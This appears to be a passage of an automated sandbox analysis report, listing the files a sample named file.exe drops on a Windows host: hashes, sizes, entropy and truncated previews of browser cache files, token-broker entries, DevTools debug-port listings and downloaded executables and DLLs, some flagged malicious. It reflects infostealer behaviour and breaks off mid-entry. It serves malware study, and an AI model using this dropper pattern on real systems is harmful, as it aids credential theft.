MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.01288062220155
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclU/28Y:YWLSGTt1o9LuLgfGBPAzkVj/T8lU/2J
MD5:	03B2B46DD727BC30B410AEA009ED95C8
SHA1:	418C06537DAC844130A98B21F4D40C4AE56EEEFF
SHA-256:	44A91CA706A74F7F8357E8CB1879324EEE09868E48E9D19804E5022FEDC1B23E
SHA-512:	A1D10C2DD7B3FA8873214C90ADB74E29758DA5A7D0B73949FB1FEC0AFC09AF7A833379F6FD0F0AFE35229EE1CB73B05AAB50D7B900F56BCB0F6639399B4C56D9
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731426022305398}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\bf2e0099-e27f-413e-a404-6f75054fe666.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.094858053572119
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWlTi1zNtCFNdpIFD5FdiKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yncFvKtSmd6qE7lFoC
MD5:	67F33E4691EE05FA2DA35B7B12B80291
SHA1:	43F4D6E9D11E93C0356C5F052856270E429C3808
SHA-256:	408BA497789D512231ACC23069F85CAB1B14A9DE0DCAACD4995E1310CBCEA92E
SHA-512:	9AAA5389F720BBEF38BCA4AB9EACA9FBF01EA01E5A75619C49AF378B55F835361EBCC6F99E899164891BF53070835F6136EBB8E70FE6A9946A35CC608B986D99
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.840602794281839
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxcxl9Il8ujcHXoCMNmU2xTXd1rc:mxY6HXJMNmjFg
MD5:	B222E96498C7CDE9583BFF448B6F3A1C
SHA1:	6D813A39DAB4463FDA44A54D3BA8D76976CBA42D
SHA-256:	23710FE143433039A1FC440208398F17D9173C725701272D8A258800C02A3D55
SHA-512:	1D32C895A48C19233DFE03AC0045FA2C91B2C178EDC7BAEEE27BE7299F7FEFCAB6773F5A559AFEA78E7C6DE5576BD6D61B839677C98A2B39B67492C395F9D50C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.F.U.W.4.D.Y.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.g.q.n.j.4.R.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9966329438520036
Encrypted:	false
SSDEEP:	96:XYxnyRnsjHzjP9COe16V5OtWLki8prn6zmrWrA1lO:X0ngsb/YOe16wWLki8pr6zyfO
MD5:	867336286C1ED0A3383986FD79047272
SHA1:	843BDEF6F9051C0A3340001EC9CEA9945447D447
SHA-256:	869D25E5B187C823BBA811C18DAB10F59287E168C3FDADB394DC26E90F30EF0A
SHA-512:	0922C55ADB491559A24F184C002DB0C52D54BB653CB62B339D89FC46AF5796147965EE82A42008A452A813330237C712E02F3C8DF0CF4545FC631F4FEEA922E3
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".R.X.w.u.x.i.4.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.g.q.n.j.4.R.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.899407182063389
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xitwxl9Il8uT97Z/5y+3aK9b8o+q2fBqdaAjYYd/vc:ajYl97B5d3N52fIkAjYB
MD5:	E012A9141AF84E446A89B9F694A77F8B
SHA1:	E1EEB1F7EEC5411ACD4CBFEBACD8ABA3A2E92B3D
SHA-256:	B1F60741336A032C03CE36E9ED6B94197DBDF4F51EC44384A22452E1545FC51B
SHA-512:	FE95D414B64F49C3222316568561E1551DE148E468464CF701A6559141A5CA1DE9905B0375CBFFB9335D961671CA8E01E46988CE18836D0AE0094D9B8D5BD094
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".s.S.H.s.9.f.9.S.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.g.q.n.j.4.R.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.391136566310743
Encrypted:	false
SSDEEP:	96:6NnQs0aHQsHNnQ0bQSNnQs9QzNnQ1dgEQCNnQcQmNnQEDQrNnQowQVNnQH93Qm:6N1NrN6NU7NRNZENv5N0
MD5:	E8F08307FF8ADFCA7F7616084F373AFE
SHA1:	80AFB94399CFC8C543AD47311D4DF4FCB80AEEDF
SHA-256:	B7001FD9666048C1BF1931140856C4619C929F8833846F9EC8FA29E37D7CA853
SHA-512:	F1AAD19ACA77E86CC037BA05B26B8083B5C5B7C3B261B385C8C5B37ED5263C5DEDB8131377FFAEF8B467529FB7C5DF9BCB988101EC105D1F577CFB810CADEB86
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/EA211C06FD645A6EDEFCF2453B6AD03C",.. "id": "EA211C06FD645A6EDEFCF2453B6AD03C",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/EA211C06FD645A6EDEFCF2453B6AD03C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/059A4A85B8B2B566D2E495F7A10D9EC8",.. "id": "059A4A85B8B2B566D2E495F7A10D9EC8",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/059A4A85B8B2B566D2E495F7A10D9EC8"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2774016
Entropy (8bit):	6.483792784873478
Encrypted:	false
SSDEEP:	49152:C+6SYZWw4qr6eW60f7CBOA/dwtfNm6aDUj5WTkELhW:/6SYZWw4q2RmoA0fla4FSs
MD5:	0EA680C4AA4B4BD15981D154A2554E69
SHA1:	4A44C9836256AAFE9C67791712B3A9EFBE4A5D85
SHA-256:	3838F00F3E012C02B5180BE4323D094E48EA96A65DC3241821879B74A396E1CB
SHA-512:	AB8F987FDDB424BCF9551A75F39F74BB2AB5688A592A4ECB2653A179F6164C4F99692124EC02DC8E7CC6638D9C4222E8BE2041D309C97671917D3E74C4F3211E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ........................+..........`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...jnqrnwwi.........)..:..............@...fifesqlp. ..........,.............@....taggant.@......"...2*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.357633784287514
Encrypted:	false
SSDEEP:	48:SfNaoQyZv4TEQyMfNaoQLt6QLtfNaoQ5QpfNaoQ/0UrU0U8Q3:6NnQBTEQtNnQLt6QLZNnQ5QFNnQ/0Ur8
MD5:	C8C734B2EFABF23B4D877085C2A4CD2C
SHA1:	69D9105C42FBDFC00AB276FCCC49AC85ECE8408E
SHA-256:	91A68BE3C99C41B2CE6EE2C0ADB0F705B0AFB3DFE156F141DB6C98D9FE2B79A8
SHA-512:	677A582FFF5B7CFB709BE269F247C9F65E852895AAB4EECC7FB69CD0D88468A1A0C6C29FC989AB55BBC00DC991DC3F8373D5EFA5F5374D09928B2FAD7F5E6B5E
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/8FD61F2EE33F6A2C75A1CE67D45D1E61",.. "id": "8FD61F2EE33F6A2C75A1CE67D45D1E61",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/8FD61F2EE33F6A2C75A1CE67D45D1E61"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/D708CC75777D165159E228F20D67A32E",.. "id": "D708CC75777D165159E228F20D67A32E",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/D708CC75777D165159E228F20D67A32E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
